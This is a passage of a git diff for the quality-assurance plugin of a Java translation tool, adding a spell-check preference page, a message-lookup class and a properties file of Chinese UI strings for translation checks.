ignoreUpperCaseFirstBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_ignoreUpperCaseFirst)); + ignoreAllUpperCaseBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_ignoreAllUpperCase)); + + if (hunspellBtn.getSelection()) { + tabFolder.setSelection(hunspellTabItem); + } + if (aspellBtn.getSelection()) { + tabFolder.setSelection(aspellTabItem); + } + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + preferenceStore.setValue(QAConstant.QA_PREF_isHunspell, hunspellBtn.getSelection()); + preferenceStore.setValue(QAConstant.QA_PREF_realTimeSpell, realTimeSpellBtn.getSelection()); + + preferenceStore.setValue(QAConstant.QA_PREF_ignoreNontrans, ignoreNontransBtn.getSelection()); + preferenceStore.setValue(QAConstant.QA_PREF_ignoreDigitalFirst, ignoreDigitalFirstBtn.getSelection()); + preferenceStore.setValue(QAConstant.QA_PREF_ignoreUpperCaseFirst, ignoreUpperCaseFirstBtn.getSelection()); + preferenceStore.setValue(QAConstant.QA_PREF_ignoreAllUpperCase, ignoreAllUpperCaseBtn.getSelection()); + + String commandLine = txtCommandPath.getText(); + try { + xmlHandler.saveAspellConfig(configFilePath, commandLine, btnUTF8.getSelection()); + int oldValue = preferenceStore.getInt(QAConstant.QA_PREF_aspellConfig_changeTag); + preferenceStore.setValue(QAConstant.QA_PREF_aspellConfig_changeTag, ++ oldValue); + } catch (Exception e) { + LOGGER.error(Messages.getString("qa.preference.SpellPage.LOG5"), e); + } + + return true; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/ImageConstant.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/ImageConstant.java new file mode 100644 index 0000000..75a5fbb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/ImageConstant.java @@ -0,0 +1,6 @@ +package net.heartsome.cat.ts.ui.qa.resource; + +public final class ImageConstant { + + public static final String QA_DIALOG_LOGO = "images/qa-logo.png"; +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/Messages.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/Messages.java new file mode 100644 index 0000000..ada55da --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.ui.qa.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +public class Messages { + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.ui.qa.resource.qa"; //$NON-NLS-1$ + + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + private Messages() { + // Do nothing + } + + public static String getString(String key) { + try { + if (RESOURCE_BUNDLE.getString(key) == null || "".equals(RESOURCE_BUNDLE.getString(key).trim())) { + System.out.println("---错误:没有赋值=" + key); + } + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa.properties b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa.properties new file mode 100644 index 0000000..279b277 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa.properties @@ -0,0 +1,419 @@ +#\u9488\u5bf9\u6240\u6709\u54c1\u8d28\u68c0\u67e5\u7684\u672c\u5730\u5316 +qa.all.dialog.info = \u63d0\u793a +qa.all.dialog.warning = \u8b66\u544a +qa.all.dialog.error = \u9519\u8bef +qa.all.dialog.ok = \u786e\u5b9a +qa.all.dialog.cancel = \u53d6\u6d88 +qa.all.dialog.index = \u5e8f\u53f7 +qa.all.qaError = [LOG] \u54c1\u8d28\u68c0\u67e5\u5931\u8d25 +qa.all.qa = \u54c1\u8d28\u68c0\u67e5 +qa.all.tipLevel.error = \u9519\u8bef +qa.all.tipLevel.warning = \u8b66\u544a +qa.all.qa.batchQA = \u6267\u884c\u6307\u5b9a\u7684\u591a\u4e2a\u54c1\u8d28\u68c0\u67e5\u9879 +qa.all.qaItem.SpaceOfParaCheck = \u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +qa.all.qaItem.SpellQA = \u62fc\u5199\u68c0\u67e5 +qa.all.qaItem.TermConsistenceQA = \u672f\u8bed\u4e00\u81f4\u6027 +qa.all.qaItem.ParagraphConsistenceQA = \u6587\u672c\u6bb5\u4e00\u81f4\u6027 +qa.all.qaItem.NumberConsistenceQA = \u6570\u5b57\u4e00\u81f4\u6027 +qa.all.qaItem.TagConsistenceQA = \u6807\u8bb0\u4e00\u81f4\u6027 +qa.all.qaItem.NonTranslationQA = \u975e\u8bd1\u5143\u7d20 +qa.all.qaItem.ParaCompletenessQA = \u6587\u672c\u6bb5\u5b8c\u6574\u6027 +qa.all.qaItem.TgtTextLengthLimitQA = \u8bd1\u6587\u5b57\u6570\u9650\u5236 +qa.all.tip.notXliff = \u6240\u9009\u6587\u4ef6 {0} \u7684\u540e\u7f00\u540d\u4e0d\u662f .hsxliff\uff0c\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +qa.all.tip.openXliffError = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u6587\u4ef6 {0}\u3002\u5c06\u5ffd\u7565\u8be5\u6587\u4ef6\uff0c\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +qa.all.log.openXmlError = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +qa.all.log.openThisXmlError = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u6587\u4ef6 {0}\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6587\u4ef6\u3002 +# \u8fd9\u662f\u9488\u5bf9\u6587\u4ef6\u5206\u6790\u4e2d\u5168\u5c40\u53d8\u91cf +qa.all.fa.clickToShrink = \u6298\u53e0\u8be5\u6587\u4ef6\u5939 +qa.all.fa.fileLocation = \u6587\u4ef6\u8def\u5f84\uff1a +qa.all.fa.fileName = \u6587\u4ef6\u540d +qa.all.fa.WordsFA = \u5b57\u6570\u5206\u6790 +# net.heartsome.cat.ts.ui.qa\uff0c AutomaticQATrigger.java +qa.AutomaticQATrigger.name1 = \ +qa.AutomaticQATrigger.name2 = \ +qa.AutomaticQATrigger.name3 = \u9519\u8bef +qa.AutomaticQATrigger.tip1 = \u7b2c {0} \u884c\u6587\u672c\u6bb5\u672a\u80fd\u901a\u8fc7\u5982\u4e0b\u54c1\u8d28\u68c0\u67e5\uff1a\n +qa.AutomaticQATrigger.tip2 = {0} \u5931\u8d25 +qa.AutomaticQATrigger.tip3 = \ +qa.AutomaticQATrigger.tip4 = \u65e0\u6cd5\u6267\u884c\u54c1\u8d28\u68c0\u67e5\uff0c\u8bf7\u91cd\u8bd5\u3002 +qa.AutomaticQATrigger.tip5 = \n\u786e\u5b9a\u8981\u5ffd\u7565\u4e0a\u8ff0\u9519\u8bef\u5e76\u7ee7\u7eed\u64cd\u4f5c\u5417\uff1f +qa.AutomaticQATrigger.log1 = [LOG] \u65e0\u6cd5\u6253\u5f00\u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\uff0c\u8bf7\u91cd\u8bd5\u3002 +# net.heartsome.cat.ts.ui.qa\uff0c NonTranslationQA.java +qa.NonTranslationQA.tip1 = \u5728\u8bd1\u6587\u4e2d\u65e0\u6cd5\u627e\u5230\u7684\u975e\u8bd1\u5143\u7d20 {0} +qa.NonTranslationQA.tip2 = \u5728\u8bd1\u6587\u4e2d\u627e\u5230\u591a\u4f59\u7684\u975e\u8bd1\u5143\u7d20 {0} +# net.heartsome.cat.ts.ui.qa\uff0c NumberConsistenceQA.java +qa.NumberConsistenceQA.tip1 = \u5728\u8bd1\u6587\u4e2d\u65e0\u6cd5\u627e\u5230\u7684\u6570\u5b57 {0} +qa.NumberConsistenceQA.tip2 = \u5728\u8bd1\u6587\u4e2d\u627e\u5230\u591a\u4f59\u7684\u6570\u5b57 {0} +# net.heartsome.cat.ts.ui.qa\uff0c ParaCompletenessQA.java +qa.ParaCompletenessQA.tip1 = \u672a\u7ffb\u8bd1\uff1a\u6ca1\u6709\u8bd1\u6587 +qa.ParaCompletenessQA.tip2 = \u672a\u7ffb\u8bd1\uff1a\u8bd1\u6587\u4e3a\u7a7a\u683c +qa.ParaCompletenessQA.tip3 = \u672a\u7ffb\u8bd1\uff1a\u8bd1\u6587\u4e0e\u6e90\u6587\u5b8c\u5168\u4e00\u6837 +# net.heartsome.cat.ts.ui.qa\uff0c ParagraphConsistenceQA.java +qa.ParagraphConsistenceQA.name1 = \u6e90\u6587\u4e00\u81f4\u6027 +qa.ParagraphConsistenceQA.name2 = \u8bd1\u6587\u4e00\u81f4\u6027 +qa.ParagraphConsistenceQA.tip1 = \u7b2c {0} \u884c\uff0c +qa.ParagraphConsistenceQA.tip2 = \u5f53\u524d\u884c +qa.ParagraphConsistenceQA.tip3 = \u4e0e +qa.ParagraphConsistenceQA.tip4 = \u6e90\u6587\u76f8\u540c\u3001\u4f46\u8bd1\u6587\u4e0d\u540c +qa.ParagraphConsistenceQA.tip5 = \u8bd1\u6587\u76f8\u540c\u3001\u4f46\u6e90\u6587\u4e0d\u540c +# net.heartsome.cat.ts.ui.qa\uff0c QARealization.java +# net.heartsome.cat.ts.ui.qa\uff0c QualityAssurance.java +qa.QualityAssurance.tip1 = \u5f00\u59cb\u54c1\u8d28\u68c0\u67e5 +qa.QualityAssurance.tip2 = \u9009\u4e2d\u7684\u6587\u4ef6/\u6587\u4ef6\u5939\u4e2d\u6ca1\u6709 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +qa.QualityAssurance.tip3 = {0}\uff1a\u6587\u4ef6 {1} ... +qa.QualityAssurance.tip4 = {0} \u5931\u8d25 +qa.QualityAssurance.tip5 = {0}\uff1a\u89e3\u6790\u6587\u4ef6 {1} ... +qa.QualityAssurance.tip6 = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6\u6587\u4ef6 {0}\u3002\u5c06\u5ffd\u7565\u8be5\u6587\u4ef6\uff0c\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +qa.QualityAssurance.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u9879 {0} \u5b9e\u4f8b\u521d\u59cb\u5316\u5931\u8d25\u3002 + +# net.heartsome.cat.ts.ui.qa\uff0c SpaceOfParaCheckQA.java +qa.SpaceOfParaCheckQA.tip1 = \u6bb5\u9996\u7a7a\u683c\uff1a\u6e90\u6587 {0} \u4e2a\u3001\u8bd1\u6587 {1} \u4e2a\uff0c\u8bd1\u6587\u4e22\u5931 {2} \u4e2a +qa.SpaceOfParaCheckQA.tip2 = \u6bb5\u9996\u7a7a\u683c\uff1a\u6e90\u6587 {0} \u4e2a\u3001\u8bd1\u6587 {1} \u4e2a\uff0c\u8bd1\u6587\u591a\u4f59 {2} \u4e2a +qa.SpaceOfParaCheckQA.tip3 = \u6bb5\u672b\u7a7a\u683c\uff1a\u6e90\u6587 {0} \u4e2a\u3001\u8bd1\u6587 {1} \u4e2a\uff0c\u8bd1\u6587\u4e22\u5931 {2} \u4e2a +qa.SpaceOfParaCheckQA.tip4 = \u6bb5\u672b\u7a7a\u683c\uff1a\u6e90\u6587 {0} \u4e2a\u3001\u8bd1\u6587 {1} \u4e2a\uff0c\u8bd1\u6587\u591a\u4f59 {2} \u4e2a +# net.heartsome.cat.ts.ui.qa\uff0c SpellQA.java +qa.SpellQA.tip1 = \u8bd1\u6587\u5355\u8bcd\uff1a +qa.SpellQA.tip2 = \u62fc\u5199\u9519\u8bef +qa.SpellQA.log1 = [LOG] \u5185\u7f6e\u8bcd\u5178\u521d\u59cb\u5316\u5931\u8d25 +qa.SpellQA.log2 = [LOG] \u5916\u7f6e\u8bcd\u5178 (Aspell) \u521d\u59cb\u5316\u5931\u8d25 +# net.heartsome.cat.ts.ui.qa\uff0c TagConsistenceQA.java +qa.TagConsistenceQA.name1 = \u6807\u8bb0\u4e22\u5931 +qa.TagConsistenceQA.name2 = \u6807\u8bb0\u4e0d\u4e00\u81f4 +qa.TagConsistenceQA.tip1 = \u8bd1\u6587\u4e2d\u4e22\u5931\u6807\u8bb0\uff1a{0} +qa.TagConsistenceQA.tip2 = \u8bd1\u6587\u4e2d\u7684\u6807\u8bb0 {0} \u4e0e\u6e90\u6587\u4e0d\u4e00\u81f4 +# net.heartsome.cat.ts.ui.qa\uff0c TermConsistenceQA.java +qa.TermConsistenceQA.tip1 = \u672f\u8bed {0} \u5e94\u7ffb\u8bd1\u4e3a {1} +# net.heartsome.cat.ts.ui.qa\uff0c TgtTextLengthLimitQA.java +qa.TgtTextLengthLimitQA.tip1 = \u8bd1\u6587\u5b57\u6570 {0} \u8d85\u51fa\u6700\u5927\u9650\u5236 {1} +qa.TgtTextLengthLimitQA.tip2 = \u8bd1\u6587\u5b57\u6570 {0} \u672a\u8fbe\u5230\u6700\u5c0f\u9650\u5236 {1} +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c BatchQADialog.java +qa.dialogs.BatchQADialog.name1 = \u9009\u9879(&O)... +qa.dialogs.BatchQADialog.name2 = XLIFF \u6587\u4ef6 +qa.dialogs.BatchQADialog.tip1 = \u8be5\u7f16\u8f91\u5668\u7531\u4e0a\u8ff0 XLIFF \u6587\u4ef6\u5408\u5e76\u6253\u5f00\uff0c\u5c06\u5bf9\u4e0a\u8ff0\u6240\u6709\u6587\u4ef6\u8fdb\u884c\u54c1\u8d28\u68c0\u67e5\u3002 +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c FileAnalysisDialog.java +qa.dialogs.FileAnalysisDialog.name1 = \u9009\u9879(&O)... +qa.dialogs.FileAnalysisDialog.xliffFile = XLIFF \u6587\u4ef6 +qa.dialogs.FileAnalysisDialog.lockExter101 = \u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +qa.dialogs.FileAnalysisDialog.lockExter100 = \u9501\u5b9a\u5b8c\u5168\u5339\u914d +qa.dialogs.FileAnalysisDialog.lockInterRepeat = \u9501\u5b9a\u5185\u90e8\u91cd\u590d +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c RegularInstalDialog.java +qa.dialogs.RegularInstalDialog.regular = \u6b63\u5219\u8868\u8fbe\u5f0f +qa.dialogs.RegularInstalDialog.content = \u975e\u8bd1\u5185\u5bb9\uff1a +qa.dialogs.RegularInstalDialog.position = \u4f4d\u7f6e +qa.dialogs.RegularInstalDialog.operate = \u64cd\u4f5c +qa.dialogs.RegularInstalDialog.value = \u503c +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c EditProgressFA.java \u5c06\u7f16\u8f91\u8fdb\u5ea6 \u6539\u6210\u4e86 \u6279\u51c6\u8fdb\u5ea6 +qa.fileAnalysis.EditProgressFA.name1 = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790 +qa.fileAnalysis.EditProgressFA.words = \u5b57\u6570 +qa.fileAnalysis.EditProgressFA.nonApprove = \u672a\u7ffb\u8bd1/\u8349\u7a3f/\u5df2\u7ffb\u8bd1 +qa.fileAnalysis.EditProgressFA.approved = \u5df2\u6279\u51c6/\u5df2\u7b7e\u53d1 +qa.fileAnalysis.EditProgressFA.approveWords = \u5b57\u6570 +qa.fileAnalysis.EditProgressFA.approveProp = \u6bd4\u4f8b +qa.fileAnalysis.EditProgressFA.lockWordsNum = \u5df2\u9501\u5b9a\u5b57\u6570 +qa.fileAnalysis.EditProgressFA.wordsSum = \u603b\u5b57\u6570 +qa.fileAnalysis.EditProgressFA.approveParaNum = \u6587\u672c\u6bb5\u6570 +qa.fileAnalysis.EditProgressFA.lockParasNum = \u5df2\u9501\u5b9a\u6587\u672c\u6bb5\u6570 +qa.fileAnalysis.EditProgressFA.paraSum = \u6587\u672c\u6bb5\u603b\u6570 +qa.fileAnalysis.EditProgressFA.tip1 = \u5206\u6790\u6587\u4ef6 {0} \u7684\u6279\u51c6\u8fdb\u5ea6... +qa.fileAnalysis.EditProgressFA.tip2 = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u7ed3\u679c +qa.fileAnalysis.EditProgressFA.log1 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5237\u65b0\u5f02\u5e38 +qa.fileAnalysis.EditProgressFA.log2 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.EditProgressFA.log3 = [LOG] \u672a\u627e\u5230\u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.EditProgressFA.log4 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.EditProgressFA.log5 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25! +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c TranslationProgressFA.java +qa.fileAnalysis.TranslationProgressFA.name1 = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u7ed3\u679c +qa.fileAnalysis.TranslationProgressFA.TransProgresFA = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790 +qa.fileAnalysis.TranslationProgressFA.words = \u5b57\u6570 +qa.fileAnalysis.TranslationProgressFA.nonTrans = \u672a\u7ffb\u8bd1/\u8349\u7a3f +qa.fileAnalysis.TranslationProgressFA.translated = \u5df2\u7ffb\u8bd1/\u5df2\u6279\u51c6/\u5df2\u7b7e\u53d1 +qa.fileAnalysis.TranslationProgressFA.transWords = \u5b57\u6570 +qa.fileAnalysis.TranslationProgressFA.transWordsProp = \u6bd4\u4f8b +qa.fileAnalysis.TranslationProgressFA.lockedWords = \u5df2\u9501\u5b9a\u5b57\u6570 +qa.fileAnalysis.TranslationProgressFA.wordsSum = \u603b\u5b57\u6570 +qa.fileAnalysis.TranslationProgressFA.paragraph = \u6587\u672c\u6bb5 +qa.fileAnalysis.TranslationProgressFA.transParasNum = \u6587\u672c\u6bb5\u6570 +qa.fileAnalysis.TranslationProgressFA.lockedParasNum = \u5df2\u9501\u5b9a\u6587\u672c\u6bb5\u6570 +qa.fileAnalysis.TranslationProgressFA.parasSum = \u603b\u6587\u672c\u6bb5 +qa.fileAnalysis.TranslationProgressFA.tip1 = \u5206\u6790\u6587\u4ef6 {0} \u7684\u7ffb\u8bd1\u8fdb\u5ea6... +qa.fileAnalysis.TranslationProgressFA.log1 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5237\u65b0\u5f02\u5e38 +qa.fileAnalysis.TranslationProgressFA.log2 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.TranslationProgressFA.log3 = [LOG] \u672a\u627e\u5230\u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.TranslationProgressFA.log4 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.TranslationProgressFA.log5 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25! +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c WordsFA.java +qa.fileAnalysis.WordsFA.name1 = \u5b57\u6570\u5206\u6790\u7ed3\u679c +qa.fileAnalysis.WordsFA.DBMatch = \u6570\u636e\u5e93\u5339\u914d +qa.fileAnalysis.WordsFA.wordsFA = \u5b57\u6570 +qa.fileAnalysis.WordsFA.exterMatch = \u5916\u90e8\u5339\u914d +qa.fileAnalysis.WordsFA.interMatch = \u5185\u90e8\u5339\u914d +qa.fileAnalysis.WordsFA.newWordsNum = \u65b0\u5b57\u6570 +qa.fileAnalysis.WordsFA.equivWordsNum = \u52a0\u6743\u5b57\u6570 +qa.fileAnalysis.WordsFA.lockWordsNum = \u5df2\u9501\u5b9a\u5b57\u6570 +qa.fileAnalysis.WordsFA.wordsSum = \u603b\u5b57\u6570 +qa.fileAnalysis.WordsFA.contentMath = \u4e0a\u4e0b\u6587\u5339\u914d +qa.fileAnalysis.WordsFA.contentRepeat = \u5185\u90e8\u91cd\u590d +qa.fileAnalysis.WordsFA.paragraph = \u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.newPara = \u65b0\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.interMatchPara = \u5185\u90e8\u5339\u914d\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.exterMatchPara = \u5916\u90e8\u5339\u914d\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.interRepeatPara = \u5185\u90e8\u91cd\u590d\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.exterRepeatPara = \u5916\u90e8\u91cd\u590d\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.lockedPara = \u9501\u5b9a\u6587\u672c\u6bb5 +qa.fileAnalysis.WordsFA.paraSum = \u6587\u672c\u6bb5\u603b\u6570 +qa.fileAnalysis.WordsFA.tip1 = \u5b57\u6570\u5206\u6790: \u6587\u4ef6 {0} \u5185\u90e8\u548c\u5916\u90e8\u5339\u914d ... ... +qa.fileAnalysis.WordsFA.log1 = [LOG] \u6570\u636e\u5e93\u5339\u914d\u5931\u8d25\uff01 +qa.fileAnalysis.WordsFA.log2 = [LOG] \u6570\u636e\u5e93\u521d\u59cb\u5316\u5931\u8d25\uff01 +qa.fileAnalysis.WordsFA.log3 = [LOG] \u672a\u627e\u5230\u5f53\u524d\u6570\u636e\u5e93\u7684\u5b9e\u73b0\u7c7b\uff01 +qa.fileAnalysis.WordsFA.log4 = [LOG] \u6570\u636e\u5e93\u5173\u95ed\u5f02\u5e38\uff01 +qa.fileAnalysis.WordsFA.log5 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.WordsFA.log6 = [LOG] \u672a\u627e\u5230\u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.WordsFA.log7 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.WordsFA.log8 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.handlers\uff0c BatchQAHandler.java +qa.handlers.BatchQAHandler.tip1 = \u9009\u4e2d\u7684\u6587\u4ef6/\u6587\u4ef6\u5939\u4e2d\u6ca1\u6709 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +qa.handlers.BatchQAHandler.tip2 = \u8bf7\u9009\u62e9\u8981\u8fdb\u884c\u54c1\u8d28\u68c0\u67e5\u7684 XLIFF \u6587\u4ef6\u3002 +qa.handlers.BatchQAHandler.log1 = [LOG] \u9879\u76ee XLIFF \u6587\u4ef6\u83b7\u53d6\u5931\u8d25\uff01 +qa.handlers.BatchQAHandler.log2 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.handlers\uff0c FileAnalysisHandler.java +qa.handlers.FileAnalysisHandler.tip1 = \u8bf7\u9009\u62e9\u8981\u5206\u6790\u7684 XLIFF \u6587\u4ef6\u3002 +qa.handlers.FileAnalysisHandler.tip2 = \u8bf7\u9009\u62e9\u540c\u4e00\u4e2a\u9879\u76ee\u4e2d\u7684 XLIFF \u6587\u4ef6\u8fdb\u884c\u5206\u6790\u3002 +qa.handlers.FileAnalysisHandler.tip3 = \u8bf7\u9009\u62e9\u8981\u5206\u6790\u7684 XLIFF \u6587\u4ef6\u3002 +qa.handlers.FileAnalysisHandler.tip4 = \u9009\u4e2d\u7684\u6587\u4ef6/\u6587\u4ef6\u5939\u4e2d\u6ca1\u6709 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +qa.handlers.FileAnalysisHandler.tip5 = {0}: \u89e3\u6790\u6587\u4ef6 {1}... +qa.handlers.FileAnalysisHandler.tip6 = \u65e0\u6cd5\u8fdb\u884c\u6587\u4ef6\u5206\u6790\uff0c\u8bf7\u91cd\u8bd5\u3002 +qa.handlers.FileAnalysisHandler.log1 = [LOG] \u9879\u76ee XLIFF \u6587\u4ef6\u83b7\u53d6\u5931\u8d25\uff01 +qa.handlers.FileAnalysisHandler.log2 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\uff0c\u5b9e\u73b0\u7c7b\u521d\u59cb\u5316\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.model QAModel.java +qa.model.QAModel.ipAdd = IP +qa.model.QAModel.webAdd = URL +qa.model.QAModel.mailAdd = E-mail +# net.heartsome.cat.ts.ui.qa.preference, NonTranslationQAPage.java +qa.preference.NonTranslationQAPage.nonTransElement = \u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.nonTransElementInstal = \u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.tip = \u540d\u79f0\uff1a +qa.preference.NonTranslationQAPage.content = \u975e\u8bd1\u5185\u5bb9\uff1a +qa.preference.NonTranslationQAPage.regular = \u6b63\u5219\u8868\u8fbe\u5f0f\uff1a +qa.preference.NonTranslationQAPage.add = \u6dfb\u52a0(&N) +qa.preference.NonTranslationQAPage.delete = \u5220\u9664(&E) +qa.preference.NonTranslationQAPage.addInterElement = \u6dfb\u52a0\u5185\u7f6e\u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.tip1 = \u8bf7\u8f93\u5165\u975e\u8bd1\u5185\u5bb9\u3002 +qa.preference.NonTranslationQAPage.tip2 = \u8bf7\u8f93\u5165\u540d\u79f0\u3002 +qa.preference.NonTranslationQAPage.tip3 = \u8bf7\u8f93\u5165\u975e\u8bd1\u5185\u5bb9\u3002 +qa.preference.NonTranslationQAPage.tip4 = \u8be5\u975e\u8bd1\u5143\u7d20\u540d\u79f0\u5df2\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +qa.preference.NonTranslationQAPage.tip5 = \u5185\u7f6e\u975e\u8bd1\u5143\u7d20 {0} \u5df2\u7ecf\u6dfb\u52a0\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\u3002 +qa.preference.NonTranslationQAPage.tip6 = \u65e0\u6cd5\u4fee\u6539\u5185\u7f6e\u975e\u8bd1\u5143\u7d20\u3002 +qa.preference.NonTranslationQAPage.log1 = [LOG] \u65e0\u6cd5\u627e\u5230\u975e\u8bd1\u5143\u7d20\u5b58\u50a8\u6587\u4ef6\uff1a".nonTransElement"\uff01 +qa.preference.NonTranslationQAPage.log2 = [LOG] \u975e\u8bd1\u5143\u7d20\u6587\u4ef6\u8bfb\u5199\u7f16\u7801\u9519\u8bef\uff01 +qa.preference.NonTranslationQAPage.log3 = [LOG] \u975e\u8bd1\u5143\u7d20\u6587\u4ef6\u8bfb\u5199\u9519\u8bef\uff01 +qa.preference.NonTranslationQAPage.tipColumn = \u540d\u79f0 +qa.preference.NonTranslationQAPage.contentColumn = \u975e\u8bd1\u5185\u5bb9 +qa.preference.NonTranslationQAPage.regularColumn = \u6b63\u5219\u8868\u8fbe\u5f0f + +qa.preference.NonTranslationQAPage.addTip1 = \u6574\u8bcd\u5339\u914d +qa.preference.NonTranslationQAPage.addTip2 = \u5ffd\u7565\u5927\u5c0f\u5199 +qa.preference.NonTranslationQAPage.addTip3 = \u8bf7\u586b\u5199\u975e\u8bd1\u5143\u7d20\u540d\u79f0\u3002 +qa.preference.NonTranslationQAPage.addTip4 = \u8bf7\u586b\u5199\u975e\u8bd1\u5143\u7d20\u5185\u5bb9\u3002 +qa.preference.NonTranslationQAPage.addTip5 = \u8bf7\u586b\u5199\u975e\u8bd1\u5143\u7d20\u6b63\u5219\u8868\u8fbe\u5f0f\u3002 +qa.preference.NonTranslationQAPage.addTip6 = \u8be5\u975e\u8bd1\u5143\u7d20\u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +qa.preference.NonTranslationQAPage.editBtn = \u7f16\u8f91 +qa.preference.NonTranslationQAPage.enter = \u786e\u8ba4 +qa.preference.NonTranslationQAPage.enterDelete = \u786e\u5b9a\u5220\u9664\u6240\u9009\u975e\u8bd1\u5143\u7d20\uff1f +qa.preference.NonTranslationQAPage.addModle = \u6dfb\u52a0\u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.editModle = \u7f16\u8f91\u975e\u8bd1\u5143\u7d20 +qa.preference.NonTranslationQAPage.enterBtn = \u786e\u5b9a 